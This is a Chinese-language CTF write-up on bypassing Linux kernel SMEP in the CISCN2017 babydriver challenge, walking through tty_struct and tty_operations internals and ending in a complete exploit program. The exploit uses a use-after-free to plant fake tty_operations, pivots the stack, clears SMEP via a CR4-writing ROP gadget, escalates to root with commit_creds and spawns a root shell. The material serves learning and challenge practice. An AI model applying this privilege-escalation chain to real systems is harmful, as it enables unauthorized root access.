介绍
smep的全称是Supervisor Mode Execution Protection,它是内核的一种保护机制,作用是当CPU处于ring0模式的时候,如果执行了用户空间的代码就会触发页错误,很明现这个保护机制就是为了防止ret2usr攻击的,所以当我们要打ret2usr时就要绕过smep的保护。
这里还是用CISCN2017 babydriver的题为例子。
ptmx && tty_struct && tty_operations
ptmx设备是tty设备的一种,open函数被tty核心调用, 当一个用户对这个tty驱动被分配的设备节点调用open时,tty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用了open函数了之后会创建一个tty_struct结构体,然而最关键的是这个tty_struct也是通过kmalloc申请出来的一个堆空间,下面是关于tty_struct结构体申请的一部分源码:
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;
tty = kzalloc(sizeof(*tty), GFP_KERNEL);
if (!tty)
return NULL;
kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
tty_ldisc_init(tty);
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);
tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
return tty;
}
其中kzalloc:
static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}
而正是这个kmalloc的原因,根据前面介绍的slub分配机制,我们这里仍然可以利用UAF漏洞去修改这个结构体,这个tty_struct结构体的大小是0x2e0,源码如下:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // tty_operations结构体
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
在tty_struct结构体中有一个非常棒的结构体tty_operations,其源码如下:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
可以看到这个里面全是我们最喜欢的函数指针….
当我们往上面所open的文件中进行write操作就会调用其中相对应的函数:
int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);
SMEP
当 kernel 开启 SMEP 保护时,ret2usr 这种攻击手法将会引起 kernel panic,因此若是我们仍然想要进行 ret2usr 攻击,则需要先关闭 SMEP 保护
Intel 下系统根据 CR4 控制寄存器的第 20、21 位标识是否开启 SMEP、SMAP 保护(1为开启,0为关闭),若是能够改变 CR4 寄存器的值便能够关闭 SMEP/SMAP 保护,完成 SMAP/SMEP-bypass,接下来就能够重新进行 ret2usr

当CR4的值为0x6f0的时候,smep关闭保护:
所以我们得想办法控制CR4寄存器。
这里有个比较好用的gadget
0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
所以我们只需要控制rdi的值便可
思路
因为此题没有开kaslr保护,所以简化了我们一些步骤,但是在此方法中是我们前面的UAF,ROP和ret2usr的综合利用,下面是基本思路:
- 利用
UAF漏洞,去控制利用tty_struct结构体的空间,修改真实的tty_operations的地址到我们构造的tty_operations; - 构造一个
tty_operations,修改其中的write函数为我们的rop; - 利用修改的
write函数来劫持程序流;
但是其中需要解决的一个问题是,我们并没有控制到栈,所以在rop的时候需要想办法进行栈转移:
不过我们可以通过调试来想想办法,先把tty_operations的内容替换为这个样子:
for(i;i<30;i++){
fake_tty_opera[i] = 0xffffffff8181bfc5;;
}
fake_tty_opera[0] = 0xffffffff8100ce6e; //pop rax; ret
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[2] = 0xffffffff8181bfc5; //mov rsp, rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffffc0000130; //babyread的地址
因为babywrite是被劫持到了tty_operation[7]这个位置,所以直接从这里开始劫持控制流,我们先把tty_operations[7]的位置替换为babyread的地址,然后我们通过调试发现,rax寄存器的值就是我们tty_operations结构体的首地址:


所以rax的值是我们可以控制的,我们的就可以在这里进行栈转移操作了,利用这些指令就可以帮我们转移栈了:
0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;
0xffffffff8181bf7e: ret;

所以最终tty_operations的构造如下:
for(i;i<30;i++){
fake_tty_opera[i] = 0xffffffff8181bfc5;;
}
fake_tty_opera[0] = 0xffffffff8100ce6e; //pop rax; ret
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[2] = 0xffffffff8181bfc5; //mov rsp, rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; //mov rsp, rax ; dec ebx ; ret
为了方便理解,我们把提权,关闭smep等操作都放到rop链里面:
rop[i++] = 0xffffffff810d238d; //pop rdi; ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0x0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; //swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; //iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
EXP
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(){
if(getuid()==0){
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}else{
puts("[-] get root shell failed.");
exit(-1);
}
}
void get_root(){ //ret2user
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
save_status();
int fd1,fd2,fd3,i=0;
size_t fake_tty_struct[4] = {0};
size_t fake_tty_opera[30];
size_t rop[20]={0};
rop[i++] = 0xffffffff810d238d; //pop rdi; ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0x0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; //swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; //iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
for(i;i<30;i++){
fake_tty_opera[i] = 0xffffffff8181bfc5;;
}
fake_tty_opera[0] = 0xffffffff8100ce6e; //pop rax; ret
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[2] = 0xffffffff8181bfc5; //mov rsp, rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; //mov rsp, rax ; dec ebx ; ret
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
read(fd2,fake_tty_struct,32);
fake_tty_struct[3] = (size_t)fake_tty_opera;
write(fd2,fake_tty_struct,32);
write(fd3,"hacker!",7);
return 0;
}

721



被折叠的 条评论
为什么被折叠?



